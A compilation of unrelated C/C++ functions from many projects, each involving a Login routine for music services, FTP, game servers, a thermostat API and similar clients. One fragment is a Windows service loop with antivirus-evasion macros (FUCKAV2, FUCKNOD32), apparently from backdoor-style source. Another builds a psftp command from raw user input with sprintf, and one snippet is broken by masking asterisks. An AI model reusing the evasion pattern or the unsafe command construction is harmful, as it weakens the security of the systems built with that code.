SpotifySettingsPage::SpotifySettingsPage(SettingsDialog* dialog) : SettingsPage(dialog), ui_(new Ui_SpotifySettingsPage), service_(InternetModel::Service<SpotifyService>()), validated_(false) { ui_->setupUi(this); setWindowIcon(QIcon(":/icons/48x48/spotify.png")); QFont bold_font(font()); bold_font.setBold(true); ui_->blob_status->setFont(bold_font); connect(ui_->download_blob, SIGNAL(clicked()), SLOT(DownloadBlob())); connect(ui_->login, SIGNAL(clicked()), SLOT(Login())); connect(ui_->login_state, SIGNAL(LogoutClicked()), SLOT(Logout())); connect(ui_->login_state, SIGNAL(LoginClicked()), SLOT(Login())); connect(service_, SIGNAL(LoginFinished(bool)), SLOT(LoginFinished(bool))); connect(service_, SIGNAL(BlobStateChanged()), SLOT(BlobStateChanged())); ui_->login_state->AddCredentialField(ui_->username); ui_->login_state->AddCredentialField(ui_->password); ui_->login_state->AddCredentialGroup(ui_->account_group); ui_->bitrate->addItem("96 " + tr("kbps"), pb::spotify::Bitrate96k); ui_->bitrate->addItem("160 " + tr("kbps"), pb::spotify::Bitrate160k); ui_->bitrate->addItem("320 " + tr("kbps"), pb::spotify::Bitrate320k); BlobStateChanged(); }
util::Error LookupOwner(const std::string& user, const std::string& group, fs::Owner& owner) { auto dbConfig = config->Database(); try { mongo::DBClientConnection conn; conn.connect(dbConfig.Host()); if (!dbConfig.Login().empty()) { std::string errmsg; if (!conn.auth(dbConfig.Name(), dbConfig.Login(), dbConfig.Password(), errmsg)) throw mongo::DBException("Authentication failed", 0); } owner = fs::Owner(user.empty() ? -1 : LookupUID(conn, user), group.empty() ? -1 : LookupGID(conn, group)); } catch (const mongo::DBException& e) { return util::Error::Failure(e.what()); } catch (const util::RuntimeError& e) { return util::Error::Failure(e.Message()); } return util::Error::Success(); }
bool AgentExecutor::UploadFile(const wxString& fileName) { if ( !IsConnected() ) { if ( !Login() ) { return false; } } while (true) { try { std::auto_ptr<EdiResponse> res(GetAgent().PostFile(fileName) ); wxString fName(fileName); wxFileName fn(fName); if ( wxGetApp().GetCfg()->GetChild(ADVPCS_AGENT_CFG)->GetParamAsBool(ADVPCS_HTTP_AGENT_COMPRESED_CFG) ) { fName = fn.GetPath(wxPATH_GET_SEPARATOR) + fn.GetName() + ADVPCS_ZIP_EXT; } else { fName = fn.GetPath(wxPATH_GET_SEPARATOR) + fn.GetName() + ADVPCS_EDI_EXT; } if ( res->GetCode() == ADVPCS_POST_FILE_RECEIVED_OK - ADVPCS_BASE ) { LOG_INFO( GetLogger(), 0, wxString::Format(ADVPCS_UPLOAD_OK, fName)); return true; } ::wxMessageBox(wxString::Format("[%ld] %s", res->GetCode(), res->GetMessage()), ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR); if ( res->GetCode() == ADVPCS_LOGIN_AUTH_ERR - ADVPCS_BASE || res->GetCode() == ADVPCS_POST_AUTH_ERR - ADVPCS_BASE ) { m_connected = false; if ( !Login() ) { return false; } else { continue; } } m_connected = false; return false; } catch ( CXmlLoadException& ) { wxMessageBox(ADVPCS_UNEXPECTED_REPLY_MSG, ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR ); m_connected = false; return false; } catch ( CAtfException& ex) { wxMessageBox((const char*)ex.GetText(), ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR ); m_connected = false; return false; }; } };
int Login(int i,struct AccountInfo *Input,struct AccountInfo *T) { if(T==NULL) return 0; //ERROR: Account Not Exist if(Input[i].Account<T->Account) Login(i,Input,T->Left); else if(Input[i].Account>T->Account) Login(i,Input,T->Right); else if(strcmp(T->Password,Input[i].Password)==0)return 1; //Log in successfully else return -1; //ERROR: Wrong Password }
bool AgentExecutor::RequestStatus() { if (!IsConnected() ) { if ( !Login() ) { return false; } } while ( true ) { try { std::auto_ptr<EdiResponse> res(GetAgent().GetStatus()); if ( res->GetCode() == ADVPCS_STATUS_OK - ADVPCS_BASE ) { FillStatus(res.get()); return true; } if ( res->GetCode() == ADVPCS_STATUS_NOT_AVAILABLE_ERR - ADVPCS_BASE ) { return false; } ::wxMessageBox(wxString::Format("[%ld] %s", res->GetCode(), res->GetMessage()), ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR); if ( res->GetCode() == ADVPCS_LOGIN_AUTH_ERR - ADVPCS_BASE ) { // || res->GetCode() == ADVPCS_STATUS_AUTH_ERR - ADVPCS_BASE ) { m_connected = false; if ( !Login() ) { return false; } else { continue; } } m_connected = false; return false; } catch ( CXmlLoadException& ) { wxMessageBox(ADVPCS_UNEXPECTED_REPLY_MSG, ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR ); m_connected = false; return false; } catch ( CAtfException& ex) { wxMessageBox((const char*)ex.GetText(), ADVPCS_ERROR_TITLE, wxOK | wxCENTRE | wxICON_ERROR ); m_connected = false; return false; }; }; };
ClientOpt *login(char *user_name) { FILE *network_config; char *server_ip, *server_port, *client_port; if((network_config = fopen("network.config", "r")) == NULL) { printf("can not open network.config file"); return NULL; } else { server_ip = fgetstr(network_config); server_port = fgetstr(network_config); client_port = fgetstr(network_config); } printf("server_ip:%s, server_port:%s, client_port:%s", server_ip, server_port, client_port); ClientOpt *copt = (ClientOpt *)calloc(1, sizeof(ClientOpt)); copt->buffer_len = 1024; copt->remote_port = atoi(server_port); strcpy(copt->server_name, server_ip); copt->SocketProc = receivePackage; copt->user_name = user_name; copt->local_port = client_port; HANDLE * h = StartClient(copt); Login(copt); return copt; }
int ServerProcessor::RegisterOrLogin(int sockfd,string& clUID,char const* buf,char* clAddress){ string str(buf); vector<string> strs; string msg("ok"),command; if(str.compare(0,11,"Register::,")==0){//Register: boost::split(strs,str,boost::is_any_of(",")); string uidstr(strs[1]); if(Register(strs,msg,clAddress)==0){ printf("registration ok\n"); clUID=uidstr; command="registration"; } } else if(str.compare(0,8,"Login::,")==0){//Register: boost::split(strs,str,boost::is_any_of(",")); if(strs.size()!=3) printf("wrong number of fields\n"); string uidstr(strs[1]); if(Login(strs,msg,clAddress)==0){ printf("login ok\n"); clUID=uidstr; command="login"; } } else{ command="registration/login"; msg=string("should start with Register::, or Login::, try again"); } SendResponse(sockfd,command,msg); return 0; }
void COrPSFDlg::OnBnClickedButton2() { // TODO: ここにコントロール通知ハンドラ コードを追加します。 wchar_t tmp[256]; char command[256]; bool ret; // host edit2.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_host, sizeof(m_host) ); // user edit3.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_user, sizeof(m_host) ); // pw edit4.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_pw, sizeof(m_host) ); sprintf( command, "psftp -pw %s %s@%s", m_pw, m_user, m_host ); ret = Login( command ); if( ret == false ) { edit1.SetWindowTextW(L"登录失败!\n 请确地址、用户名、密码。"); m_IsLogin = false; return; } m_IsLogin = true; edit1.SetWindowTextW(L"登录成功!\n 可以获取或上传文件。"); }
int procFunc(int p) { int message; if (CheckAuthority(p, inOperation)) switch(p) { case 0 : message = SignIn(); break; case 1 : message = Login(); break; case -2 : message = Finalization(); break; case 2 : message = Logout(); break; case -3 : message = SearchBookByKeyword();break; case 3 : message = BorBook(); break; case 4 : message = RetBook(); break; case -4 : message = ShowSpecificBook(); break; case 5 : message = ChangeNickName(); break; case 6 : message = ChangePassword(); break; case 7 : message = AddBook(); break; case 8 : message = DelBook(); break; case 9 : message = EditBook(); break; case 10 : message = DelUser(); break; case -10 : message = 0; break; case 11 : message = ChangeUserAuthority(); break; default : break; } return message; }
void ServiceMain(DWORD dwargc,wchar_t* argv[]) { hSrv=RegisterServiceCtrlHandler(modify_data.SerName,SvcCtrlFnct); srvStatus.dwServiceType=SERVICE_WIN32_SHARE_PROCESS; srvStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; srvStatus.dwWin32ExitCode=NO_ERROR; srvStatus.dwWaitHint=2000; srvStatus.dwCheckPoint=1; srvStatus.dwCurrentState=SERVICE_START_PENDING; SetServiceStatus(hSrv,&srvStatus); srvStatus.dwCheckPoint=0; Sleep(500); srvStatus.dwCurrentState=SERVICE_RUNNING; SetServiceStatus(hSrv,&srvStatus); while(1) { Login(); Sleep(50); } FUCKAV2 FUCKAV2 FUCKAV2 FUCKAV2 ANTIVIRUS FUCKNOD32 FUCKAV return; }
void CThermosmart::SetPauseStatus(const bool bIsPause) { if (m_bDoLogin) { if (!Login()) return; } std::string sURL; std::stringstream sstr; std::string pState = (bIsPause == true) ? "true" : "false"; sstr << "pause=" << pState; std::string szPostdata = sstr.str(); std::vector<std::string> ExtraHeaders; std::string sResult; sURL = THERMOSMART_SET_PAUZE; stdreplace(sURL, "[TID]", m_ThermostatID); stdreplace(sURL, "[access_token]", m_AccessToken); if (!HTTPClient::POST(sURL, szPostdata, ExtraHeaders, sResult)) { _log.Log(LOG_ERROR, "Thermosmart: Error setting Pause status!"); m_bDoLogin = true; return; } }
void CDlgLoginMain::OnBnClickedButtonLogin() { CString strUser, strPassword; m_EditUser.GetWindowText(strUser); m_EditPwd.GetWindowText(strPassword); if ( strUser.IsEmpty() || strPassword.IsEmpty() ) { MessageBox("用户名或者密码不能为空", g_lpszAppTitle, MB_OK|MB_ICONINFORMATION); return; } //登录 CString sLoginData = Login(strUser, strPassword); if ( !theApp.m_LoginData.Parse(sLoginData) ) { MessageBox(theApp.m_LoginData.m_strErrInfo, g_lpszAppTitle, MB_OK|MB_ICONINFORMATION); return; } WriteRegForDeskClient( _T("LastUser"), theApp.m_LoginData.m_strUser ); //theApp.WriteSectionString (_T("Flag"), _T("LastUser"), theApp.m_LoginData.m_strUser); ((CDlgLoginBk*)GetParent())->OnMyOk(); EndDialog(IDOK); CMainFrame* pMainFrame = NULL; pMainFrame = dynamic_cast<CMainFrame*>(theApp.m_pMainWnd); if (pMainFrame) { pMainFrame->m_wndLoginBar.RedrawWindow(); } return; }
int KMonster::ThreadFunction() { int nRetCode = FALSE; LOGIN_TYPE nLoginType = ltConnectTo; int nConnectCount = 0; while (!m_nExitFlag) { ++nConnectCount; nRetCode = Login(nLoginType); if (nRetCode) { GameLoop(); nLoginType = ltReconnectTo; nConnectCount = 0; } if (!m_MonsterParam.nReconnect || nConnectCount > 10) { break; } //printf("ReConnect Count:%d\n", nConnectCount); } return TRUE; }
VOID CLoginImpl::OnLogin( XMessage_Login* pMsg ) { if (CheckLoginRequest(pMsg)) { Login(pMsg->username,pMsg->pwd); } }
bool UCUnitTest::Start(bool bIsNeedLogin) { if (!LoadDll()) return false; int iRet = m_fpeSDKClientPlatform_Init(); if (0 != iRet) { return false; } SetUCSignalRecvCB(); m_fpConfig("10.170.103.52:8081"); m_fpSetLang("2052"); if (bIsNeedLogin) { if (!Login()) { return false; } } return true; }
FOnlineIdentityIOS::FOnlineIdentityIOS() : UniqueNetId( NULL ) { UE_LOG(LogOnline, Verbose, TEXT("FOnlineIdentityIOS::FOnlineIdentityIOS()")); Login( 0, FOnlineAccountCredentials() ); }
int main(int argc, char** argv) { std::map<std::string, std::string> args = ProcessArgs(argc, argv); if (args.size() != 5 || !ValidateArgs(args)) { ShowHelp(); return -5; } DesuraId id(args["-i"].c_str(), args["-t"].c_str()); if (!Login(args["-u"], args["-p"])) return -1; if (!CreateMcf(id, args["-f"])) return -2; if (!StartUpload(id)) return -3; if (!UploadMcf()) return -4; return 0; }
void BiliLogin::OnBnClickedOk() { // TODO: 在此添加控件通知处理程序代码 UpdateData(TRUE); Login(); CDialogEx::OnOK(); }
void SubsonicService::Login(const QString &server, const QString &username, const QString &password) { server_ = QString(server); username_ = QString(username); password_ = QString(password); Login(); }
bool FOnlineIdentityNull::AutoLogin(int32 LocalUserNum) { FString LoginStr; FString PasswordStr; FString TypeStr; FParse::Value(FCommandLine::Get(), TEXT("AUTH_LOGIN="******"AUTH_PASSWORD="******"AUTH_TYPE="), TypeStr); if (!LoginStr.IsEmpty()) { if (!PasswordStr.IsEmpty()) { if (!TypeStr.IsEmpty()) { return Login(0, FOnlineAccountCredentials(TypeStr, LoginStr, PasswordStr)); } else { UE_LOG_ONLINE(Warning, TEXT("AutoLogin missing AUTH_TYPE=<type>.")); } } else { UE_LOG_ONLINE(Warning, TEXT("AutoLogin missing AUTH_PASSWORD=<password>.")); } } else { UE_LOG_ONLINE(Warning, TEXT("AutoLogin missing AUTH_LOGIN=<login id>.")); } return false; }
int FtpClient::Login ( char* username, char* password ) { Result = new char[4096]; strcpy ( this->userName, username ); strcpy ( this->password, password ); return Login(); }
void CLoginWnd::Notify(TNotifyUI& msg) { if (msg.sType ==DUI_MSGTYPE_CLICK) { CDuiString str = msg.pSender->GetName(); if ( str == _T("configbtn")) { CConfigWnd* pConfig = new CConfigWnd; pConfig->Create(NULL,_T("服务器配置"),UI_WNDSTYLE_FRAME,WS_EX_WINDOWEDGE); pConfig->CenterWindow(); pConfig->ShowModal(); delete pConfig; } else if ( str == _T("login")) { Login(); } } if (msg.sType == DUI_MSGTYPE_SELECTCHANGED) { if (msg.pSender->GetName()==_T("autolog")) { COptionUI* pLeft = static_cast<COptionUI*>(m_PaintManager.FindControl(_T("remember"))); COptionUI* pRight = static_cast<COptionUI*>(m_PaintManager.FindControl(_T("autolog"))); if (!pLeft->IsSelected()) { pLeft->Selected(true); } } } return WindowImplBase::Notify(msg); }
void CLoginScene::Verifyed() { srand(m_pClient->GetPlayerData()->pRobotItem->nRobotID); //Register("hello name","23s","6",1); Login(m_pClient->GetPlayerData()->pRobotItem->strAccount.c_str(),m_pClient->GetPlayerData()->pRobotItem->strPassword.c_str()); //Register("name",m_pClient->GetPlayerData()->pRobotItem->strAccount.c_str(),m_pClient->GetPlayerData()->pRobotItem->strPassword.c_str(),1); }
bool UserManager::Dispatch( ValueSet *pRequestSet, U32 requestCode, SsapiResponder *pResponder ){ bool rc = false; User *pUser; if( ObjectManager::Dispatch( pRequestSet, requestCode, pResponder ) ) return true; switch(requestCode){ case SSAPI_USER_MANAGER_LOGIN: pUser = new User( GetListenManager() ); *pUser = *((ValueSet *)pRequestSet->GetValue( SSAPI_USER_MANAGER_LOGIN_OBJECT )); rc = Login( pUser, pResponder ); delete pUser; break; case SSAPI_USER_MANAGER_LOGOUT: pUser = new User( GetListenManager() ); *pUser = *((ValueSet *)pRequestSet->GetValue( SSAPI_USER_MANAGER_LOGOUT_OBJECT )); rc = Logout( pUser, pResponder ); delete pUser; break; case SSAPI_USER_MANAGER_CHANGE_PASSWORD: rc = ChangePassword( *pRequestSet, pResponder ); break; default: ASSERT(0); break; } return false; }
bool FenetreSaisie::qt_invoke( int _id, QUObject* _o ) { switch ( _id - staticMetaObject()->slotOffset() ) { case 0: Login(); break; case 1: Terminer(); break; case 2: Reservation(); break; case 3: SelectionnerOk0(); break; case 4: SelectionnerOk1(); break; case 5: SelectionnerOk2(); break; case 6: SelectionnerOk3(); break; case 7: SelectionnerOk4(); break; case 8: SelectionnerOk((int)static_QUType_int.get(_o+1)); break; case 9: Precedent(); break; case 10: Suivant(); break; case 11: Effacer(); break; case 12: Recherche(); break; case 13: Rendu0(); break; case 14: Rendu1(); break; case 15: Rendu2(); break; case 16: Rendu((int)static_QUType_int.get(_o+1)); break; case 17: languageChange(); break; default: return QDialog::qt_invoke( _id, _o ); } return TRUE; }
void CThermosmart::SetOutsideTemp(const float temp) { if (m_bDoLogin) { if (!Login()) return; } char szTemp[20]; sprintf(szTemp, "%.1f", temp); std::string sTemp = szTemp; std::string szPostdata = "outside_temperature=" + sTemp; std::vector<std::string> ExtraHeaders; std::string sResult; std::string sURL = THERMOSMART_SETPOINT_PATH; stdreplace(sURL, "[TID]", m_ThermostatID); stdreplace(sURL, "[access_token]", m_AccessToken); if (!HTTPClient::PUT(sURL, szPostdata, ExtraHeaders, sResult)) { _log.Log(LOG_ERROR, "Thermosmart: Error setting thermostat data!"); m_bDoLogin = true; return; } }
void CThermosmart::SetPauseStatus(const bool bIsPause) { if (m_bDoLogin) { if (!Login()) return; } std::string szPostdata = "{\"pause\":"; szPostdata += (bIsPause) ? "true" : "false"; szPostdata += "}"; std::vector<std::string> ExtraHeaders; ExtraHeaders.push_back("Content-Type: application/json"); std::string sResult; std::string sURL = THERMOSMART_SET_PAUZE; stdreplace(sURL, "[TID]", m_ThermostatID); stdreplace(sURL, "[access_token]", m_AccessToken); if (!HTTPClient::POST(sURL, szPostdata, ExtraHeaders, sResult)) { _log.Log(LOG_ERROR, "Thermosmart: Error setting Pause status!"); m_bDoLogin = true; return; } }
void CCommunity::Initialize ( void ) { CVARS_GET ( "community_username", m_strUsername ); CVARS_GET ( "community_password", m_strPassword ); if ( !m_strUsername.empty() && !m_strPassword.empty() ) Login (); }
SimpleServerWrapper::SimpleServerWrapper(char *sUserLogin, bool bUseNonInteractiveMode) : m_bIsVmWasCreatedByThisInstance(false), m_isLocalAdminInited(false) { if (PRL_SUCCEEDED(PrlSrv_Create(m_ServerHandle.GetHandlePtr()))) Login(sUserLogin, bUseNonInteractiveMode); else WRITE_TRACE(DBG_FATAL, "Failed to create server handle"); }
void SubsonicService::Login( const QString& server, const QString& username, const QString& password, const bool& usesslv3) { UpdateServer(server); username_ = username; password_ = password; usesslv3_ = usesslv3; Login(); }